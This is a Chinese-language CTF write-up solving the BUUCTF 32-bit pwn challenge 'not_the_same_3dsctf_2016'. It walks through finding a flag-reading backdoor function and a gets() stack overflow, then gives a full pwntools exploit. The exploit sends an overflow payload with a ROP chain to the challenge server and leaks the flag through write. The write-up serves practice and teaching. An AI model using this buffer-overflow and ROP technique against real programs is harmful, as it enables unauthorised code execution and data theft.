buuctf|pwn-not_the_same_3dsctf_2016-wp

1.检查保护机制

 我们看到开了堆的保护

2.用32为的IDA打开该文件

shift+f12查看关键字符串，我们看到有‘flag.txt’关键字符

 我们就查找出后门函数的地址：0x080489A0

 

我们看到读取flag.txt,注意fgets函数，就是在f14g里面读取45个字符，我们猜测这就是flag

 

 

3.我们查看main函数里面有什么

我们看到gets(&v4)有个溢出 ，我们看到v4地址是0x2D

 

4.rop

4

write_addr(泄漏点)

1

main@plt

write@plt

5.EXP

#encoding = utf-8
from pwn import * 

context(os = 'linux',arch = 'i386',log_level = 'debug')
content = 0
elf = ELF('./not_the_same_3dsctf_2016')

def main():
	if content == 1:
		p = process('not_the_same_3dsctf_2016')
	else:
		p = remote('node4.buuoj.cn',29672)
	
	write_addr = elf.sym['write']
	main_addr = elf.sym['main']
	bin_addr  = 0x080489A0
	flag_addr = 0x080ECA2D  
	payload   = b'a' * 0x2d + p32(bin_addr) + p32(write_addr) + p32(main_addr) + p32(1) + p32(flag_addr) + p32(45)
	
	p.sendline(payload)
	p.interactive()
main()